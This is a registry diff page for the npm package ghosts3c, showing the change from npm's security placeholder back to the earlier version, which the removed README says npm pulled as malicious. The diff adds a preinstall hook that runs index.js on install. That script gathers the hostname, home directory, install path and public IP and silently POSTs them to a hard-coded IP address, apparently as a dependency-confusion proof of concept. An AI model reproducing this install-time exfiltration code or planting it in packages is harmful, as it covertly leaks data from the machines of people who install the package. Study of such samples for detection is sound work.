ghosts3c 0.0.1-security → 0.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of ghosts3c might be problematic. Click here for more details.
- package/index.js +60 -0
- package/package.json +9 -3
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1,60 @@
|
|
|
1
|
+
const os = require("os");
|
|
2
|
+
const https = require("https");
|
|
3
|
+
const packageJSON = require("./package.json");
|
|
4
|
+
|
|
5
|
+
// Get public IP (async)
|
|
6
|
+
function getPublicIP(callback) {
|
|
7
|
+
https.get('https://api.ipify.org?format=json', (res) => {
|
|
8
|
+
let data = '';
|
|
9
|
+
res.on('data', (chunk) => data += chunk);
|
|
10
|
+
res.on('end', () => {
|
|
11
|
+
try {
|
|
12
|
+
callback(JSON.parse(data).ip);
|
|
13
|
+
} catch {
|
|
14
|
+
callback('Unknown');
|
|
15
|
+
}
|
|
16
|
+
});
|
|
17
|
+
}).on('error', () => callback('Unknown'));
|
|
18
|
+
}
|
|
19
|
+
|
|
20
|
+
// Prepare the data
|
|
21
|
+
const logData = {
|
|
22
|
+
time: new Date().toISOString(),
|
|
23
|
+
package: packageJSON.name,
|
|
24
|
+
hostname: os.hostname(),
|
|
25
|
+
homeDir: os.homedir(),
|
|
26
|
+
currentPath: __dirname,
|
|
27
|
+
// Organization can be derived from package scope or set manually
|
|
28
|
+
organization: packageJSON.name.startsWith('@') ?
|
|
29
|
+
packageJSON.name.split('/')[0].substring(1) :
|
|
30
|
+
'Unknown'
|
|
31
|
+
};
|
|
32
|
+
|
|
33
|
+
// Get IP then send data
|
|
34
|
+
getPublicIP((publicIP) => {
|
|
35
|
+
logData.ip = publicIP;
|
|
36
|
+
|
|
37
|
+
const postData = JSON.stringify(logData);
|
|
38
|
+
|
|
39
|
+
const options = {
|
|
40
|
+
hostname: "66.94.120.130:443", // Replace with your endpoint
|
|
41
|
+
port: 443,
|
|
42
|
+
path: "/collect",
|
|
43
|
+
method: "POST",
|
|
44
|
+
headers: {
|
|
45
|
+
"Content-Type": "application/json",
|
|
46
|
+
"Content-Length": postData.length
|
|
47
|
+
}
|
|
48
|
+
};
|
|
49
|
+
|
|
50
|
+
const req = https.request(options, (res) => {
|
|
51
|
+
res.on('data', () => {}); // Empty handler
|
|
52
|
+
});
|
|
53
|
+
|
|
54
|
+
req.on('error', () => {}); // Silently fail
|
|
55
|
+
req.write(postData);
|
|
56
|
+
req.end();
|
|
57
|
+
|
|
58
|
+
// Also log to console for testing
|
|
59
|
+
console.log('Collected data:', logData);
|
|
60
|
+
});
|
package/package.json
CHANGED
|
@@ -1,6 +1,12 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "ghosts3c",
|
|
3
|
-
"version": "0.0.1
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "0.0.1",
|
|
4
|
+
"description": "PoC by @zin_min_phyo",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
|
8
|
+
"preinstall": "node index.js"
|
|
9
|
+
},
|
|
10
|
+
"author": "",
|
|
11
|
+
"license": "ISC"
|
|
6
12
|
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=ghosts3c for more information.
|